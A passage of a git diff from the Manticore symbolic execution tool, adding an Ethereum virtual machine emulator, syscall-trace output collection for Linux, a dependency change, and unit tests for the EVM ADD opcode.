+        bytes += list('\x00'*( 32-len(bytes)))
+        bytes = map(Operators.ORD, bytes)
+        value = Operators.CONCAT(256, *bytes)
+        return value 
+
+    def CALLDATASIZE(self):
+        '''Get size of input data in current environment'''
+        return len(self.data)
+
+    def CALLDATACOPY(self, mem_offset, data_offset, size):
+        '''Copy input data in current environment to memory'''
+        GCOPY = 3             # cost to copy one 32 byte word
+        self._consume(GCOPY * ceil32(size) // 32)
+
+
+        #FIXME put zero if not enough data
+        if issymbolic(size) or issymbolic(data_offset):
+            #self._constraints.add(Operators.ULE(data_offset, len(self.data)))
+            self._constraints.add(Operators.ULE(size+data_offset, len(self.data) + (32-len(self.data)%32) ))
+
+        if issymbolic(size):
+            raise ConcretizeStack(3, policy='ALL')
+
+        for i in range(size):
+            c = Operators.ITEBV(8,data_offset+i < len(self.data), Operators.ORD(self.data[data_offset+i]), 0)
+            self._store(mem_offset+i, c)
+
+    def CODESIZE(self):
+        '''Get size of code running in current environment'''
+        return len(self.bytecode)
+
+    def CODECOPY(self, mem_offset, code_offset, size):
+        '''Copy code running in current environment to memory'''
+        if issymbolic(size):
+            raise ConcretizeStack(3)
+        GCOPY = 3             # cost to copy one 32 byte word
+        self._consume(GCOPY * ceil32(size) // 32)
+
+        for i in range(size):
+            if (code_offset+i > len(self.bytecode)):
+                self._store(mem_offset+i, 0)
+            else:
+                self._store(mem_offset+i, Operators.ORD(self.bytecode[code_offset+i]))
+        self._publish( 'did_read_code', code_offset, size)
+
+    def GASPRICE(self):
+        '''Get price of gas in current environment'''
+        return self.price
+
+    def EXTCODESIZE(self, account):
+        '''Get size of an account's code'''
+        #FIXME
+        if not account & TT256M1 in self.global_storage:
+            return 0
+        return len(self.global_storage[account & TT256M1]['code'])
+
+    def EXTCODECOPY(self, account, address, offset, size): 
+        '''Copy an account's code to memory'''
+        #FIXME STOP! if not enough data
+        if not account & TT256M1 in self.global_storage:
+            return
+        extbytecode = self.global_storage[account& TT256M1]['code']
+        GCOPY = 3             # cost to copy one 32 byte word
+        self._consume(GCOPY * ceil32(len(extbytecode)) // 32)
+
+        for i in range(size):
+            if offset + i < len(extbytecode):
+                self._store(address+i, extbytecode[offset+i])
+            else:
+                self._store(address+i, 0)
+
+    ##########################################################################
+    ##Block Information
+    def BLOCKHASH(self, a):
+        '''Get the hash of one of the 256 most recent complete blocks'''
+        #FIXME! 
+        #90743482286830539503240959006302832933333810038750515972785732718729991261126L,
+        return 0
+
+    def COINBASE(self):
+        '''Get the block's beneficiary address'''
+        return self.header['coinbase']
+
+    def TIMESTAMP(self):
+        '''Get the block's timestamp'''
+        return self.header['timestamp']
+
+    def NUMBER(self):
+        '''Get the block's number'''
+        return self.header['number']
+
+    def DIFFICULTY(self):
+        '''Get the block's difficulty'''
+        return self.header['difficulty']
+
+    def GASLIMIT(self):
+        '''Get the block's gas limit'''
+        return self.header['gaslimit']
+
+    ##########################################################################
+    ##Stack, Memory, Storage and Flow Operations
+    def POP(self, a):
+        '''Remove item from stack'''
+        #Items are automatically removed from stack 
+        #by the instruction distpatcher
+        pass
+
+    def MLOAD(self, address):
+        '''Load word from memory'''
+        bytes = []
+        for offset in xrange(32):
+            bytes.append(self._load(address+offset))
+        return Operators.CONCAT(256, *bytes)
+
+    def MSTORE(self, address, value):
+        '''Save word to memory'''
+        for offset in xrange(32):
+            self._store(address+offset, Operators.EXTRACT(value, (31-offset)*8, 8))
+
+    def MSTORE8(self, address, value):
+        '''Save byte to memory'''
+        self._store(address, Operators.EXTRACT(value, 0, 8))
+
+    def SLOAD(self, offset):
+        '''Load word from storage'''
+        return self.global_storage[self.address]['storage'][offset]
+
+    def SSTORE(self, offset, value):
+        '''Save word to storage'''
+        self.global_storage[self.address]['storage'][offset] = value
+        if value is 0:
+            del self.global_storage[self.address]['storage'][offset]
+
+    def JUMP(self, dest):
+        '''Alter the program counter'''
+        self.pc = dest
+        #TODO check for JUMPDEST on next iter?
+    
+    def JUMPI(self, dest, cond):
+        '''Conditionally alter the program counter'''
+        self.pc = Operators.ITEBV(256, cond!=0, dest, self.pc + self.instruction.size)
+        assert self.bytecode[dest] == '\x5b', "Must be jmpdest instruction" #fixme what if dest == self.pc + self.instruction.size?
+
+    def GETPC(self):
+        '''Get the value of the program counter prior to the increment'''
+        return self.pc
+
+    def MSIZE(self):
+        '''Get the size of active memory in bytes'''
+        return self.memory._allocated * 32
+
+    def GAS(self):
+        '''Get the amount of available gas, including the corresponding reduction the amount of available gas'''
+        #fixme calculate gas consumption
+        return self.gas
+
+    def JUMPDEST(self):
+        '''Mark a valid destination for jumps'''
+        pass
+
+    ##########################################################################
+    ##Push Operations
+    def PUSH(self, value):
+        '''Place 1 to 32 bytes item on stack'''
+        return value
+
+    ##########################################################################
+    ##Duplication Operations
+    def DUP(self, *operands):
+        '''Duplicate stack item'''
+        return (operands[-1],) + operands
+
+    ##########################################################################
+    ##Exchange Operations
+    def SWAP(self, *operands):
+        '''Exchange 1st and 2nd stack items'''
+        a = operands[0] 
+        b = operands[-1]
+        return (b,) + operands[1:-1] + (a,)
+
+    ##########################################################################
+    ##Logging Operations
+    def LOG(self, address, size, *topics):
+        if issymbolic(size):
+            raise ConcretizeStack(2, policy='ONE')
+
+        memlog = []
+        for i in range(size):
+            memlog.append(self._load(address+i))
+        self.logs.append((self.address, memlog, topics))
+        logger.info('LOG %r %r', memlog, topics)
+
+    ##########################################################################
+    ##System operations
+    def read_buffer(self, offset, size):
+        if size:
+            self._allocate(offset+size)
+        buf = []
+        for i in xrange(size):
+            buf.append(Operators.CHR(self._load(offset+i)))
+        return buf
+
+    def write_buffer(self, offset, buf):
+        count = 0
+        for c in buf:
+            self._store(offset+count, c)
+            count +=1 
+
+    def CREATE(self, value, offset, size):
+        '''Create a new account with associated code'''
+        code = self.read_buffer(offset, size)
+        raise Create(value, code)
+
+    def CALL(self, gas, to, value, in_offset, in_size, out_offset, out_size):
+        '''Message-call into an account'''
+        if issymbolic(in_offset):
+            raise ConcretizeStack(4, policy='SAMPLED')
+        if issymbolic(in_size):
+            raise ConcretizeStack(5, policy='SAMPLED')
+
+        data = self.read_buffer(in_offset, in_size)
+        raise Call(gas, to, value, data, out_offset, out_size)
+
+    def CALLCODE(self, gas, to, value, in_offset, in_size, out_offset, out_size):
+        '''Message-call into this account with alternative account's code'''
+        data = self.read_buffer(in_offset, in_size)
+        raise Call(gas, self.address, value, data, out_offset, out_size)
+
+    def RETURN(self, offset, size):
+        '''Halt execution returning output data'''
+        data = self.read_buffer(offset, size)
+        raise Return(data)
+
+    def DELEGATECALL(self, gas, to, in_offset, in_size, out_offset, out_size):
+        '''Message-call into this account with an alternative account's code, but persisting into this account with an alternative account's code'''
+        value = 0
+        data = self.read_buffer(in_offset, in_size)
+        raise Call(gas, self.address, value, data, out_offset, out_size)
+
+    def REVERT(self, offset, size):
+        data = self.read_buffer(offset, size)
+        raise Revert(data)
+
+    def SELFDESTRUCT(self, to):
+        '''Halt execution and register account for later deletion'''
+        raise SelfDestruct(to)
+
+    def __str__(self):
+        def hexdump(src, length=16):
+            FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])
+            lines = []
+            for c in xrange(0, len(src), length):
+                chars = src[c:c+length]
+                def p (x):
+                    if issymbolic(x):
+                        return '??'
+                    else:
+                        return "%02x" % x 
+                hex = ' '.join([p(x) for x in chars])
+                def p1 (x):
+                    if issymbolic(x):
+                        return '.'
+                    else:
+                        return "%s" % ((x <= 127 and FILTER[x]) or '.') 
+
+                printable = ''.join([p1(x) for x in chars])
+                lines.append("%04x  %-*s  %s" % (c, length*3, hex, printable))
+            return lines
+
+        m = []
+        if len(self.memory._memory.keys()):
+            for i in range(max([0] + self.memory._memory.keys())+1):
+                c = self.memory.read(i,1)[0]
+                m.append(c)
+
+        hd = hexdump(m)
+        result = []
+        if issymbolic(self.pc):
+            result.append( '<Symbolic PC>')
+
+        else:
+            result.append( '0x%04x: %s %s %s\n'%(self.pc, self.instruction.name, self.instruction.has_operand and '0x%x'%self.instruction.operand or '', self.instruction.description))
+
+
+        result.append('Stack                                                                      Memory')
+        sp =0        
+        for i in list(reversed(self.stack))[:10]:
+            r = ''
+            if issymbolic(i):
+                r = '%s %r'%(sp==0 and 'top> ' or '     ', i)
+            else:
+                r = '%s 0x%064x'%(sp==0 and 'top> ' or '     ', i)
+            sp+=1
+
+            h = ''
+            try:
+                h = hd[sp-1]
+            except:
+                pass
+            r +=  ' '*(75-len(r)) + h
+            result.append(r)
+
+        for i in range(sp,len(hd)):
+            r =  ' '*75 + hd[i]
+            result.append(r)
+
+        result.append( '-'*147)
+        result = [hex(self.address) +": "+x for x in result]
+        return '\n'.join(result)
+
+################################################################################
+################################################################################
+################################################################################
+################################################################################
+class EVMWorld(Platform):
+    def __init__(self, constraints, storage=None, **kwargs):
+        super(EVMWorld, self).__init__(path="NOPATH", **kwargs)
+        self._global_storage = {} if storage is None else storage
+        self._constraints = constraints
+        self._callstack = [] 
+        self._deleted_address = set()
+        self._logs = list()
+        self._sha3 = {}
+        self._pending_transaction = None
+
+    def __getstate__(self):
+        state = super(EVMWorld, self).__getstate__()
+        state['sha3'] = self._sha3
+        state['pending_transaction'] = self._pending_transaction
+        state['logs'] = self._logs
+        state['storage'] = self._global_storage
+        state['constraints'] = self._constraints
+        state['callstack'] = self._callstack
+        state['deleted_address'] = self._deleted_address
+        return state
+
+    def __setstate__(self, state):
+        super(EVMWorld, self).__setstate__(state)
+        self._sha3 = state['sha3']
+        self._pending_transaction = state['pending_transaction']
+        self._logs = state['logs'] 
+        self._global_storage = state['storage']
+        self._constraints = state['constraints']
+        self._callstack = state['callstack']
+        self._deleted_address = state['deleted_address']
+        self._do_events()
+
+    def _do_events(self):
+        if self.current is not None:
+            self.forward_events_from(self.current)
+        self.subscribe('concrete_sha3', self._concrete_sha3_callback)
+
+    def _concrete_sha3_callback(self,buf, value):
+        if buf in self._sha3:
+            assert self._sha3[buf] == value
+        self._sha3[buf] = value
+
+    def __getitem__(self, index):
+        assert isinstance(index, (int,long))
+        return self.storage[index]
+
+
+    def __str__(self):
+        return "WORLD:" + str(self._global_storage)
+        
+    @property
+    def logs(self):
+        return self._logs
+
+    @property
+    def constraints(self):
+        return self._constraints
+
+    @constraints.setter
+    def constraints(self, constraints):
+        self._constraints = constraints
+        for addr in self.storage:
+            if isinstance(self.storage[addr]['storage'], EVMMemory): 
+                self.storage[addr]['storage'].constraints = constraints
+        if self.current:
+            self.current.constraints = constraints
+
+
+    @property
+    def current(self):
+        try:
+            return self._callstack[-1]
+        except IndexError:
+            return None
+
+    @property
+    def suicide(self):
+        if self.depth:
+            return self.current.suicide
+        else:
+            return self._suicide
+
+    @property
+    def storage(self):
+        if self.depth:
+            return self.current.global_storage
+        else:
+            return self._global_storage
+
+    @storage.setter
+    def storage(self, value):
+        if self.depth:
+            self.current.global_storage = value
+        else:
+            self._global_storage = value
+
+    def _push(self, vm):
+        #Storage address ->  account(value, local_storage)
+        vm.global_storage = self.storage
+        vm.global_storage[vm.address]['storage'] = copy.copy(self.storage[vm.address]['storage'])
+        if self.depth:
+            self.current.constraints = None
+        #MAKE A DEEP COPY OF THE SPECIFIC ACCOUNT
+        self._callstack.append(vm)
+        self.current.depth = self.depth
+        self.current.constraints = self.constraints
+        self.forward_events_from(self.current)
+        if self.depth > 1024:
+            while self.depth >0:
+                self._pop(rollback=True)
+            raise TerminateState("Maximum call depth limit is reached", testcase=True)
+
+    def _pop(self, rollback=False):
+        vm = self._callstack.pop()
+        assert self.constraints == vm.constraints
+        if self.current:
+            self.current.constraints = vm.constraints
+        if not rollback:
+            self.storage = vm.global_storage
+            self._deleted_address = self._deleted_address.union(vm.suicide)
+            self._logs += vm.logs
+            if not self.depth:
+                for address in self._deleted_address:
+                    del self.storage[address]
+        return vm
+
+    @property
+    def depth(self):
+        return len(self._callstack)
+
+    def _new_address(self):
+        ''' create a fresh 160bit address '''
+        new_address = random.randint(100, pow(2, 160))
+        if new_address in self._global_storage.keys():
+            return self._new_address()
+        return new_address
+
+    def execute(self):
+        self._process_pending_transaction()
+        try:
+            if self.current is None:
+                raise TerminateState("No transaction", testcase=False)
+            self.current.execute()
+        except Create as ex:
+            self.CREATE(ex.value, ex.data)
+        except Call as ex:
+            self.CALL(ex.gas, ex.to, ex.value, ex.data)
+        except Stop as ex:
+            self.STOP()
+        except Return as ex:
+            self.RETURN(ex.data)
+        except Revert as ex:
+            self.REVERT()
+        except SelfDestruct as ex:
+            self.SELFDESTRUCT(ex.to)
+        except Sha3 as ex:
+            self.HASH(ex.data)
+        except EVMException as e:
+            self.THROW()
+        except Exception:
+            raise
+
+
+    def run(self):
+        try:
+            while True:
+                self.execute()
+        except TerminateState as e:
+            if self.depth == 0 and e.message == 'RETURN':
+                return self.last_return
+            '''import traceback
+            print "Exception in user code:"
+            print '-'*60
+            traceback.print_exc(file=sys.stdout)
+            print '-'*60'''
+            raise e
+
+    def create_account(self, address=None, balance=0, code='', storage=None):
+        ''' code is the runtime code '''
+        storage = {} if storage is None else storage
+
+        if address is None:
+            address = self._new_address()
+        assert address not in self.storage.keys(), 'The account already exists'
+        self.storage[address] = {}
+        self.storage[address]['nonce'] = 0L
+        self.storage[address]['balance'] = balance
+        self.storage[address]['storage'] = storage
+        self.storage[address]['code'] = code
+
+        return address
+
+    def create_contract(self, origin=None, price=0, address=None, caller=None, balance=0, init='', run=False, header=None):
+        assert len(init) > 0
+        '''
+        The way that the Solidity compiler expects the constructor arguments to 
+        be passed is by appending the arguments to the byte code produced by the
+        Solidity compiler. The arguments are formatted as defined in the Ethereum
+        ABI2. The arguments are then copied from the init byte array to the EVM 
+        memory through the CODECOPY opcode with appropriate values on the stack.
+        This is done when the byte code in the init byte array is actually run 
+        on the network.
+        '''
+        assert self._pending_transaction is None
+        if caller is None and origin is not None:
+            caller = origin
+        if origin is None and caller is not None:
+            origin = caller
+        assert caller == origin
+        if header is None:
+            header = {'timestamp':1}
+        assert  not issymbolic(address) 
+        assert  not issymbolic(origin) 
+        address = self.create_account(address, 0)
+        if header is None:
+            header = {'timestamp' : 0,
+                      'number': 0,}
+
+        self.storage[address]['storage'] = EVMMemory(self.constraints, 256, 256)
+
+
+        self._pending_transaction = ('Create', address, origin, price, '', origin, balance, init, header)
+
+        if run:
+            assert False
+            #run initialization code
+            #Assert everything is concrete?
+            assert  not issymbolic(origin) 
+            assert  not issymbolic(address) 
+            assert self.storage[origin]['balance'] >= balance
+            runtime = self.run()
+            self.storage[address]['code'] = ''.join(runtime)
+
+        return address
+
+    def CREATE(self, value, bytecode):
+        origin = self.current.origin
+        caller = self.current.address
+        price = self.current.price
+        header = {'timestamp': 100}  #FIXME
+        self.create_contract(origin, price, address=None, balance=value, init=bytecode, run=False)
+        self._process_pending_transaction()
+
+
+    def transaction(self, address, origin=None, price=0, data='', caller=None, value=0, header=None, run=False):
+        if caller is None and origin is not None:
+            caller = origin
+        if origin is None and caller is not None:
+            origin = caller
+        if header is None:
+            header = {'timestamp':1}
+        if any([ isinstance(data[i], Expression) for i in range(len(data))]): 
+            data_symb = self._constraints.new_array(index_bits=256, index_max=len(data))
+            #data_symb = EVMMemory(self.constraints, 256, 8)
+            for i in range(len(data)):
+                data_symb[i] = Operators.ORD(data[i])
+            data = data_symb
+        bytecode = self.storage[address]['code']
+        self._pending_transaction = ('Call', address, origin, price, data, caller, value, bytecode, header)
+
+        if run:
+            assert self.depth == 0
+            assert  not issymbolic(caller) 
+            assert  not issymbolic(address) 
+            assert self.storage[caller]['balance'] >= value
+            #run contract
+            #Assert everything is concrete?
+            try:
+                return self.run()
+            except TerminateState:
+                #FIXME better use of exceptions!
+                pass
+
+    def _process_pending_transaction(self):
+        if self._pending_transaction is None:
+            return
+        assert self.current is None or self.current.last_exception is not None
+
+        ty, address, origin, price, data, caller, value, bytecode, header = self._pending_transaction
+        self.storage[caller]['balance'] -= value
+        self.storage[address]['balance'] += value
+
+        new_vm = EVM(self._constraints, address, origin, price, data, caller, value, bytecode, header, global_storage=self.storage)
+        
+        self._push(new_vm)
+        self._pending_transaction = None
+        if self.depth == 1:
+            #handle human transactions
+            if ty == 'Create':
+                self.current.last_exception = Create(None, None, None)
+            elif ty == 'Call':
+                self.current.last_exception = Call(None, None, None, None)
+
+
+    def CALL(self, gas, to, value, data):
+        address = to
+        origin = self.current.origin
+        caller = self.current.address
+        price = self.current.price
+        depth = self.depth+1
+        bytecode = self.storage[to]['code']
+        header = {'timestamp' :1}
+        self.transaction(address, origin, price, data, caller, value, header)
+        self._process_pending_transaction()
+
+
+    def RETURN(self, data):
+        prev_vm = self._pop() #current VM changed!
+        if self.depth == 0:
+            self.last_return=data
+            raise TerminateState("RETURN", testcase=True)
+
+
+        last_ex = self.current.last_exception
+        self.current.last_exception = None
+        assert isinstance(last_ex, (Call, Create))
+
+        if isinstance(last_ex, Create):
+            self.current._push(prev_vm.address)
+            self.storage[prev_vm.address]['code'] = data
+
+        else:
+            size = min(last_ex.out_size, len(data))
+            self.current.write_buffer(last_ex.out_offset, data[:size])
+            self.current._push(1)
+        #we are still on the CALL/CREATE
+        self.current.pc += self.current.instruction.size
+
+    def STOP(self):
+        prev_vm = self._pop(rollback=False)
+        if self.depth == 0:
+            raise TerminateState("STOP", testcase=True)
+        self.current.last_exception = None
+        self.current._push(1)
+
+        #we are still on the CALL/CREATE
+        self.current.pc += self.current.instruction.size
+
+    def THROW(self):
+        prev_vm = self._pop(rollback=True)
+        #revert balance on CALL fail
+        self.storage[prev_vm.caller]['balance'] += prev_vm.value
+        self.storage[prev_vm.address]['balance'] -= prev_vm.value
+
+        if self.depth == 0:
+            raise TerminateState("THROW", testcase=True)
+
+        self.current.last_exception = None
+        self.current._push(0)
+        #we are still on the CALL/CREATE
+        self.current.pc += self.current.instruction.size
+
+    def REVERT(self):
+        prev_vm = self._pop(rollback=True)
+        #revert balance on CALL fail
+        self.storage[prev_vm.caller]['balance'] += prev_vm.value
+        self.storage[prev_vm.address]['balance'] -= prev_vm.value
+
+        if self.depth == 0:
+            raise TerminateState("REVERT", testcase=True)
+
+        self.current.last_exception = None
+        #we are still on the CALL/CREATE
+        self.current.pc += self.current.instruction.size
+
+    def SELFDESTRUCT(self, recipient):
+        #This may create a user account
+        recipient = Operators.EXTRACT(recipient, 0, 160)
+        address = self.current.address
+        if recipient not in self.storage.keys():
+            self.create_account(address=recipient, balance=0, code='', storage=None)
+        self.storage[recipient]['balance'] += self.storage[address]['balance']
+        self.storage[address]['balance'] = 0
+        self.suicide.add(address)
+        self._pop(rollback=False)
+        if self.depth == 0:
+            raise TerminateState("SELFDESTRUCT", testcase=True)
+
+    def HASH(self, data):
+
+        def compare_buffers(a, b):
+            if len(a) != len(b):
+                return False
+            cond = True
+            for i in range(len(a)):
+                cond = Operators.AND(a[i]==b[i], cond)
+                if cond is False:
+                    return False
+            return cond
+
+        assert any(map(issymbolic, data))
+        logger.info("SHA3 Searching over %d known hashes", len(self._sha3))
+        logger.info("SHA3 TODO save this state for future explorations with more known hashes")
+        #Broadcast the signal 
+        self._publish( 'symbolic_sha3', data, self._sha3.items())
+
+        results = []
+        known_hashes = False
+        for key, value in self._sha3.items():
+            cond = compare_buffers(key, data)
+            if solver.can_be_true(self._constraints, cond):
+                results.append((cond, value))  
+                known_hashes = Operators.OR(cond, known_hashes)
+
+        with self._constraints as temp_cs:
+            if solver.can_be_true(temp_cs, Operators.NOT(known_hashes)):
+                temp_cs.add(Operators.NOT(known_hashes))
+                a_buffer = solver.get_value(temp_cs, data)
+                cond = compare_buffers(a_buffer, data)
+                known_hashes = Operators.OR(cond, known_hashes)
+
+        if solver.can_be_true(self._constraints, known_hashes):
+            self._constraints.add(known_hashes)
+            value = 0 #never used
+            for cond, sha in results:
+                value = Operators.ITEBV(256, cond, sha, value)
+        else:
+            raise TerminateState()
+            
+        self.current._push(value)
+        self.current.pc += self.current.instruction.size
+        
+
+
+if __name__ == '__main__':
+    bytecode='60606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680635ec01e4d146044578063e1c7392a146067575bfe5b3415604b57fe5b60516076565b6040518082815260200191505060405180910390f35b3415606e57fe5b60746080565b005b6000600490505b90565b5b5600a165627a7a723058201ee3d4d835c10d46b09531c20dcdfe17b2dcef676a2666d66d0b3dde4969f6e00029'.decode   ('hex')
+    #print EVMDecoder.disassemble(bytecode)
+
+    instructions = list(EVMDecoder.decode_all(bytecode))
+
+    BBs = {}
+    EDGES = {}
+    current_bb = []
+    address = 0
+    for i in instructions:
+        i.address = address
+
+        current_bb.append(i)
+        if i.name in ['JUMPI', 'JUMP', 'STOP', 'INVALID', 'RETURN', 'SELFDESTRUCT', 'REVERT']:
+            BBs[current_bb[0].address] = tuple(current_bb)
+            if i.name in ['JUMP', 'JUMPI']:
+                source = current_bb[0].address
+                if len(current_bb) >= 2:
+                    if current_bb[-2].name.startswith('PUSH'):
+                        dest = current_bb[-2].operand
+                    EDGES.setdefault(source, set()).add(dest)
+                    if i.name  == 'JUMPI':
+                        EDGES[source].add(address + i.size)
+
+            current_bb = list()
+        address += i.size
+
+
+    for addr in sorted(BBs.keys()):
+        print hex(addr), ":",  map(hex, sorted(list(EDGES.get(addr,set()))))
+        print '\n'.join(map(lambda x: "  "+str(x), BBs[addr]))
+ 
+    address=0x414141414141
+    origin=0x424242424242
+    price=1
+    data='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+    sender=0x434343434343
+    value=1
+    header={'timestamp':1}
+    depth=0
+
+        
+    from manticore.core.smtlib.constraints import ConstraintSet
+    constraints = ConstraintSet()
+    memory = constraints.new_array(256, 'MEM_%d'%depth)
+    evm = EVM(memory, address, origin, price, data, sender, value, bytecode, header, depth)
+    print evm
+    import pickle
+    a = pickle.dumps(evm)
+    evm = pickle.loads(a)
+    while True:
+        evm.execute()  
+        print evm
+
diff --git a/manticore/platforms/linux.py b/manticore/platforms/linux.py
index bb6795c..b1a16cb 100644
--- a/manticore/platforms/linux.py
+++ b/manticore/platforms/linux.py
@@ -1,3 +1,4 @@
+import StringIO
 import errno
 import fcntl
 import logging
@@ -14,7 +15,7 @@ from ..core.cpu.abstractcpu import Interruption, Syscall, ConcretizeArgument
 from ..core.cpu.cpufactory import CpuFactory
 from ..core.cpu.binja import BinjaCpu
 from ..core.memory import SMemory32, SMemory64, Memory32, Memory64
-from ..core.smtlib import Operators, ConstraintSet
+from ..core.smtlib import Operators, ConstraintSet, SolverException, solver
 from ..core.cpu.arm import *
 from ..core.executor import TerminateState
 from ..platforms.platform import Platform
@@ -2238,6 +2239,7 @@ class Linux(Platform):
         return last.header.p_vaddr + last.header.p_memsz
 
 
+
 ############################################################################
 # Symbolic versions follows
 
@@ -2417,3 +2419,35 @@ class SLinux(Linux):
 
         return rv
 
+    def generate_workspace_files(self):
+        def solve_to_fd(data, fd):
+            try:
+                for c in data:
+                    fd.write(chr(solver.get_value(self.constraints, c)))
+            except SolverException:
+                fd.write('{SolverException}')
+
+        out = StringIO.StringIO()
+        inn = StringIO.StringIO()
+        err = StringIO.StringIO()
+        net = StringIO.StringIO()
+
+        for name, fd, data in self.syscall_trace:
+            if name in ('_transmit', '_write'):
+                if fd == 1:
+                    solve_to_fd(data, out)
+                elif fd == 2:
+                    solve_to_fd(data, err)
+            if name in ('_recv'):
+                solve_to_fd(data, net)
+            if name in ('_receive', '_read') and fd == 0:
+                solve_to_fd(data, inn)
+
+        ret = {
+            'syscalls': repr(self.syscall_trace),
+            'stdout': out.getvalue(),
+            'stdin': inn.getvalue(),
+            'stderr': err.getvalue(),
+            'net': net.getvalue()
+        }
+        return ret
diff --git a/manticore/platforms/platform.py b/manticore/platforms/platform.py
index 71d0723..db5ba93 100644
--- a/manticore/platforms/platform.py
+++ b/manticore/platforms/platform.py
@@ -40,3 +40,6 @@ class Platform(Eventful):
         state = super(Platform, self).__getstate__()
         state['path'] = self._path
         return state
+
+    def generate_workspace_files(self):
+        return {}
diff --git a/manticore/utils/helpers.py b/manticore/utils/helpers.py
index 8fde339..d0d943c 100644
--- a/manticore/utils/helpers.py
+++ b/manticore/utils/helpers.py
@@ -1,4 +1,4 @@
-
+import collections
 from ..core.smtlib import Expression
 
 def issymbolic(value):
diff --git a/scripts/travis_install_z3.sh b/scripts/travis_install_z3.sh
deleted file mode 100755
index ee06daf..0000000
--- a/scripts/travis_install_z3.sh
+++ /dev/null
@@ -1,11 +0,0 @@
-#/bin/bash
-set -ex
-
-Z3_VERSION=z3-4.4.2.0d0d504d6273-x64-ubuntu-14.04
-
-mkdir z3
-pushd z3
-wget https://s3.amazonaws.com/manticore-z3/${Z3_VERSION}.zip -O z3.zip
-unzip z3.zip
-sudo cp -v ${Z3_VERSION}/bin/z3 /usr/bin/z3
-popd
diff --git a/setup.py b/setup.py
index a1625fd..6b2b6cd 100644
--- a/setup.py
+++ b/setup.py
@@ -12,6 +12,7 @@ setup(
         'pyelftools',
         'unicorn',
         'ply',
+        'pysha3',
         'z3-solver',
     ],
     extras_require={
diff --git a/tests/EVM/__init__.py b/tests/EVM/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/tests/EVM/test_EVMADD.py b/tests/EVM/test_EVMADD.py
new file mode 100644
index 0000000..517eea0
--- /dev/null
+++ b/tests/EVM/test_EVMADD.py
@@ -0,0 +1,2306 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_ADD(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_ADD_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639934L])
+
+    def test_ADD_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_ADD_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADD_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
